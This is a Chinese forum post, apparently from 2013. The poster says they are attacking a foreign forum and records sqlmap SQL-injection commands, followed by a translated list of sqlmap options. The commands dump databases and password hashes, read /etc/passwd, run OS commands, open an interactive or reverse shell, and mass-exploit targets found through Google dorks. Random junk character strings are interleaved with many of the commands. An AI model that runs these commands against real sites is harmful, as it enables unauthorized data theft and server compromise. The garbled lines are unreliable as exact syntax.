找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2473|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、. P; a! W: i; [# N# @6 J
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称* \. u% _/ a+ I3 k3 h$ e5 A
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名2 J4 t" I& A4 ^- P
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段- l$ T/ f  X2 h' P7 l/ f# C; T

7 w0 f' b- t. xsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v, m2 b" z5 G0 B0 u0 S
0 #获取字段内容
/ Q' n! K$ a, _' W9 u# a * R) o  P0 t) d, l  \
******************信息获取******************
  M9 s1 P; G3 \$ }sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
5 ?8 M8 n6 b4 ]$ I) |. fsqlmap -u “http://url/news?id=1″ –users #列数据库用户3 b& l$ F0 G4 {$ r
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
' {/ B2 j/ V) R0 O9 b$ Xsqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
& ]2 L  H, J6 h2 E6 ~sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
7 k3 [1 j* j& A9 z. l9 a4 I' q: Hsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”. u+ q0 Z6 K* q
–start 1 –stop 20 #列出指定字段,列出20 条
% A9 Q: Q: d4 y6 ?sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
* q- T$ J  q, B% `sqlmap -u “http://url/news?id=1″ –privileges #查看权限
' n8 ]+ E" w7 A" ~sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
6 k7 i& w6 \4 W) R. `% Msqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)* F+ j0 b+ P1 L2 u; v( Y- l2 y; h
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
! V) E$ d  t1 a. k1 V+ o! Xsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录5 Z* b1 O) y& z" G1 l5 r3 T) I
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入( m/ \  X7 d0 x
sqlmap -u “http://url/news?id=1″-b #获取banner信息
+ W3 L& `9 v' asqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
$ a1 F% w# [* h. e  o; esqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
# Q, t$ Z7 v3 L3 Xsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
- T/ e' j. i, f) ~6 _( msqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
& O0 |7 u* r* ]# i8 f/ c, \sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
/ ~3 H; c3 m& v! isqlmap -u “http://url/news?id=1″ –file /etc/passwd0 r" `) u+ |! n$ F6 q" s
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
# r0 }) u+ M) O+ I; [sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell% I9 O# B( z8 P# I9 ^
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
) S2 `) u2 }  t4 @! rsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
- T. p. X( e8 s/ j% l# f3 Ssqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度$ X6 Q4 Q* J6 v
***********高级用法*************
; J& a7 a$ n  G-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入; H  Z5 T7 g) C1 l" Z
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
: H8 m* N- I. _, q8 e  f" Y$ \–technique   测试指定注入类型\使用的技术
# |* n$ {* J! R& Q1 k3 d6 I不加参数默认测试所有注入技术9 t; h/ k1 {# H& C5 z4 E
•     B: 基于布尔的SQL 盲注  N( j& A* m3 t* @
•     E: 基于显错sql 注入& c) L' V% ?. n9 ]
•     U: 基于UNION 注入
! {1 m4 o: I% y- a% k0 }•     S: 叠层sql 注入
6 L. w; ~1 p- c! D3 Y. z  O•     T: 基于时间盲注; N/ I5 t$ E. e4 O1 \( Q
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()7 G$ {9 u) y% T3 m9 l9 ^& ^6 [
–tamper 插件所在目录
' n- |0 B; e* F\sqlmap-dev\tamper8 d$ g/ y. Y; ^) W
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能3 g' D! D# Q+ O) O9 O2 C
level 执行测试等级 攻击实例:
2 O( x. z) G0 N& x5 J4 JSqlmap -u “http://url/news?id=1&Submit=Submit”( D6 z, G  V' Q- r. _6 }. w( k
–cookie=”PHPSESSID=41aa833e6d0d" ^3 l9 W: F- g) J
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
& `' f. N- F- [–password3 ^1 v+ j: b, ~" B% K' q% J( J2 @
参考文档:http://sqlmap.sourceforge.net/doc/README.html7 v  ~( d' a; j) X
***********安装最新版本*************
; N" \3 d, G6 Yubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版% b8 X" I. {9 O8 Y/ Y
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev0 U$ [5 u0 @( }/ ^  q6 k; y/ v
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
* @- T6 l3 F+ \* Lsudo vim /home/当前用户/.bashrc* m/ c6 `- A. M7 h
#任意位置加上:
7 n9 L. F9 V  f  g3 N" Z5 L$ nalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效% ?7 Y+ L% K4 ?* O' T, O) X- k
如果想对所有用户有效 可设置全局 编辑下面的文件7 [. n5 E0 |" U# |8 R
vim /etc/profile7 R0 X3 t3 M, y0 ~
同样加上:
7 U' H& E1 D$ ]0 C: i- `: _4 _alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效( @  f; H! T, e/ _8 f
******************windows 7 (x64) sqlmap install (SVN)************
& W5 H* W4 o$ f: S# H8 \http://www.python.org/getit/ 安装python
) ?3 ~3 T/ D) h! {! s# Phttp://www.sliksvn.com/en/download 安装windows svn client
! y( l& W  ~% y9 x8 l/ hsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
. X" ^/ S* D- u. C安装sqlmap) q0 l: u* g% t. o) i
*修改环境变量/ `9 `* C$ r) {$ C
–version             显示程序的版本号并退出
+ ]; J5 O. {6 S-h, –help            显示此帮助消息并退出
6 E& ~; ]' W% j8 j3 W6 |-v VERBOSE            详细级别:0-6(默认为1)( P: u3 p2 D% m# t: c5 @! I
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
3 p9 q0 X7 i, m-d DIRECT           直接连接到数据库。
$ `& _) K( \7 d+ \$ `-u URL, –url=URL   目标URL。. |% C; M0 J" g
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
& G  _+ p. }: A3 o0 Q) _+ a-r REQUESTFILE      从一个文件中载入HTTP 请求。  @& Y2 d( _8 t' m
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。/ k2 S4 T( }# a7 R2 P8 ^0 B8 C
-c CONFIGFILE       从INI 配置文件中加载选项。
: b/ s: s6 w0 D1 p2 ORequest(请求)::4 x0 \8 j* V$ `4 D$ y7 e$ n
这些选项可以用来指定如何连接到目标URL。
2 c9 T" q" ?% E( R& {  `–data=DATA         通过POST 发送的数据字符串
: `6 R4 @6 s9 T  _) Z  I. u7 x–cookie=COOKIE     HTTP Cookie 头
' d! a& e8 Y" b–cookie-urlencode  URL 编码生成的cookie 注入, {5 f/ a- v; t4 _/ T+ o
–drop-set-cookie   忽略响应的Set –Cookie 头信息. w9 a- U/ x5 @: e8 Y; _! `

2 Y1 b6 n; q; g# E3 j! p8 g! P–user-agent=AGENT  指定  HTTP User –Agent 头
- s7 }5 \$ B+ _. A3 m5 V3 i# ?–random-agent      使用随机选定的HTTP User –Agent 头
$ z% `* [2 y! v" M7 D- a–referer=REFERER   指定  HTTP Referer 头
+ l* n  w+ ?) |8 o$ y0 t9 J; C# R–headers=HEADERS   换行分开,加入其他的HTTP 头# w7 I/ Q; M. O9 Q! n0 S' Q
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)& k1 `- {. X% w1 Y% t' j- G5 Z
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
3 |5 A; D6 @3 t" J4 J+ N- p6 X–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
* i1 `: I: E2 [& c: i2 v" N' p4 D–proxy=PROXY       使用HTTP 代理连接到目标URL; m) y9 q1 [  J( E/ g3 T" o2 `. U( F
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
7 @: `3 }3 [" F: m$ j. A–ignore-proxy      忽略系统默认的HTTP 代理9 R( D& z. s' O
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒1 Q6 `$ c" m( D. y
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)6 f3 k; G, G% Z0 H. ?
–retries=RETRIES   连接超时后重新连接的时间(默认3)
+ v% I" ^3 E% E" _–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
! d, d+ |3 P2 B% ?0 y–safe-url=SAFURL   在测试过程中经常访问的url 地址4 ~- C% b9 u/ d/ t: u+ q
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL( V5 O) Q3 ^% I) S' l
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
) ]0 N/ s1 l+ q7 S  v-o                  开启所有优化开关
( z3 R1 b5 R/ K3 ?9 v' u; B–predict-output    预测常见的查询输出
9 G( `: B/ _1 f0 i& \4 l–keep-alive        使用持久的HTTP(S)连接1 g/ b4 U, ^8 [) }
–null-connection   从没有实际的HTTP 响应体中检索页面长度% b' t6 N* ~2 G2 J7 M' {
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1), s% g* O2 g3 v, Q) I+ }
Injection(注入):
2 H) A, m- c+ n2 i3 m- K  ^' R这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。$ `0 {. g- U) n) c* [
-p TESTPARAMETER    可测试的参数(S)
* S6 Z- C3 E( ]( g4 u# L7 s+ Z. P6 m–dbms=DBMS         强制后端的DBMS 为此值) Q) A9 v  r3 K. H
–os=OS             强制后端的DBMS 操作系统为这个值
) d9 s/ Y3 ?- O" ~0 u–prefix=PREFIX     注入payload 字符串前缀
: d+ d. j" i8 t% t9 o: k; d( V1 s–suffix=SUFFIX     注入 payload 字符串后缀
% z$ X: {; k: K& F* L. K- q. e–tamper=TAMPER     使用给定的脚本(S)篡改注入数据9 c$ ]' A* p) X% W4 c2 G, }
Detection(检测):- {7 i  Z9 P- D
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
/ X1 Z6 |2 |9 F- `–level=LEVEL       执行测试的等级(1-5,默认为1)
4 c# U  Y# t4 ]* B2 `# e–risk=RISK         执行测试的风险(0-3,默认为1)
1 W; s2 ]5 ]4 _- Q/ w/ Y: K–string=STRING     查询时有效时在页面匹配字符串
: Q0 J0 o: Q0 A# X–regexp=REGEXP     查询时有效时在页面匹配正则表达式9 N' O  \  B& a, l/ g
–text-only         仅基于在文本内容比较网页, m) K. O: @8 R; {
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
) U# b. J0 {9 P/ Z1 ^* [–technique=TECH    SQL 注入技术测试(默认BEUST)) `! U; ]6 V- l% t8 o
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)& o1 D, I/ Y/ w) A
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
$ Z# F7 T% m2 B2 {–union-char=UCHAR  用于暴力猜解列数的字符' x6 m; m7 v: e( k0 C$ ~
Fingerprint(指纹):
  ?. S. T! }6 s: g2 n- E-f, –fingerprint     执行检查广泛的DBMS 版本指纹
6 G6 j+ a' O* D( k* bEnumeration(枚举):, k% y) _, y( q& D  D2 e5 E
+ [* J4 m7 I9 f9 d& u2 ]. h% G
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。; K, k  ~+ f7 L- S
-b, –banner        检索数据库管理系统的标识
- `- U+ h5 }* B% o; a–current-user      检索数据库管理系统当前用户
; s/ {5 a* b6 d9 t% d+ Z3 ]* T2 }–current-db        检索数据库管理系统当前数据库
/ U' o: n+ o( r, p–is-dba            检测DBMS 当前用户是否DBA
" g; N+ `) S8 w" F0 m2 W' q–users             枚举数据库管理系统用户$ j2 s, e! d; {4 q8 r: J
–passwords         枚举数据库管理系统用户密码哈希
$ r+ g. R" k0 T7 B+ c' ^1 ], G' g–privileges        枚举数据库管理系统用户的权限5 v! R* A( Y+ P$ \! a
–roles             枚举数据库管理系统用户的角色
2 S/ j* X0 T9 G( w. o+ J–dbs               枚举数据库管理系统数据库
" Q8 J# R3 W( W2 X) g' H–tables            枚举的DBMS 数据库中的表1 @( B1 o( P, p& }' j3 d# H
–columns           枚举DBMS 数据库表列) U3 W' F# T; l3 q: o
–dump              转储数据库管理系统的数据库中的表项3 x1 m! I" E" T  w' ]
–dump-all          转储所有的DBMS 数据库表中的条目
1 x! S! A) |/ B/ ^( ^–search            搜索列(S),表(S)和/或数据库名称(S)
2 o# w% j, q7 O" ?. U% q% g8 \-D DB               要进行枚举的数据库名/ _7 a- [8 j' E  [/ _( |6 R* R( Q
-T TBL              要进行枚举的数据库表% ]& \4 u/ @2 U. W1 N8 o
-C COL              要进行枚举的数据库列
/ Y% y# G) l- W' W0 t-U USER             用来进行枚举的数据库用户
. H6 a) G1 C5 }* X6 A- r–exclude-sysdbs    枚举表时排除系统数据库" w2 d, M, F; ?8 x9 Z3 F, j
–start=LIMITSTART  第一个查询输出进入检索3 G# |5 t2 k6 y5 @2 a) j
–stop=LIMITSTOP    最后查询的输出进入检索7 s2 t" h" O% t# s8 v) h* ^
–first=FIRSTCHAR   第一个查询输出字的字符检索2 k7 y9 R0 D( v: P% g
–last=LASTCHAR     最后查询的输出字字符检索, a' |- H* T6 e/ c: @
–sql-query=QUERY   要执行的SQL 语句
6 x7 l# T: M. B) R–sql-shell         提示交互式SQL 的shell' N$ O* {' E4 q5 _
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
! H* E  Q4 x& F9 t/ O( m; k–common-tables     检查存在共同表
- k# s& w4 l: C–common-columns    检查存在共同列
9 y: }9 ^3 |. H! JUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
* {) @. B" G: R( f–udf-inject        注入用户自定义函数
, m- Z) S5 A8 x& u–shared-lib=SHLIB  共享库的本地路径
  m5 @2 u/ G% N3 \' Y6 |File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
; c* x. U% p  E& j6 A& I7 d) b–file-read=RFILE   从后端的数据库管理系统文件系统读取文件3 f5 R+ Q6 F: w7 o; e' E. \
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件; Z- t9 g* ]) m7 O% c
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径! E1 N' ?- @/ H2 A* _# T  d# P
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
- P! v6 W! W( T' m–os-cmd=OSCMD      执行操作系统命令
. A! q" p( z3 d–os-shell          交互式的操作系统的shell4 Y1 q( V. L  G- M- V, c) G3 C
–os-pwn            获取一个OOB shell,meterpreter 或VNC
" ~4 F0 l! A9 ?–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC$ R% b' `! X* x6 f( ^: Z; ?7 T
–os-bof            存储过程缓冲区溢出利用
8 l& S3 b0 Y3 ~! [' ~. \6 k–priv-esc          数据库进程用户权限提升9 Y6 F- q: F8 {( ]1 h; p
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
' q- q, c. ^* G+ [: p3 D# c  r–tmp-path=TMPPATH  远程临时文件目录的绝对路径- i' ^0 I/ R% B8 f- k& O
9 E8 ?7 F0 N3 [* y
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。6 v/ ?, x" r6 C* ~6 B
–reg-read          读一个Windows 注册表项值
0 j% Q, W3 p- e  {2 r–reg-add           写一个Windows 注册表项值数据: M, y, T' m0 d* M" [
–reg-del           删除Windows 注册表键值
% y# q3 k0 E: q: L–reg-key=REGKEY    Windows 注册表键% l9 P* G# N$ |: p+ d
–reg-value=REGVAL  Windows 注册表项值$ g: A5 b3 i7 x% A
–reg-data=REGDATA  Windows 注册表键值数据
9 h4 q- k' p+ _–reg-type=REGTYPE  Windows 注册表项值类型
" s+ X9 Z& e/ V# \/ ?' Q" ?* LGeneral(一般): 这些选项可以用来设置一些一般的工作参数。. e+ U0 d9 ^3 b. ?3 a3 c
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中# h# K. ^' L+ ?: C
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
& A' Z! _$ {# D( Y; |) d8 ?8 M–flush-session     刷新当前目标的会话文件# v8 x6 G1 _4 k/ w+ O1 Z0 D
–fresh-queries     忽略在会话文件中存储的查询结果
: e. n, A. X, B; J( R–eta               显示每个输出的预计到达时间
7 o3 f( ~0 ?8 S( T6 }) ?1 ^, [–update            更新SqlMap
4 u, W. p: c4 h5 J" T–save              file 保存选项到INI 配置文件
/ |5 K5 V- }/ s1 E# F- _–batch             从不询问用户输入,使用所有默认配置。
  O4 J( W: N$ l  tMiscellaneous(杂项):2 [. ~: j( M, p/ J
–beep              发现SQL 注入时提醒* g4 [& Y4 p; b9 f3 t, k
–check-payload     IDS 对注入payloads 的检测测试  W+ P" L/ M- T1 v
–cleanup           SqlMap 具体的UDF 和表清理DBMS
" [2 h/ f& _$ q' {7 N5 i–forms             对目标URL 的解析和测试形式
4 [5 q' p( A/ ]–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果2 G8 t+ J  Y4 }) P
–page-rank         Google dork 结果显示网页排名(PR)
% n2 ]. s# K. B( k* g–parse-errors      从响应页面解析数据库管理系统的错误消息
3 I& r0 E! |! G–replicate         复制转储的数据到一个sqlite3 数据库
, M% Y7 h8 @4 m4 z$ T) x–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
  ?  n% d3 o" K  {–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表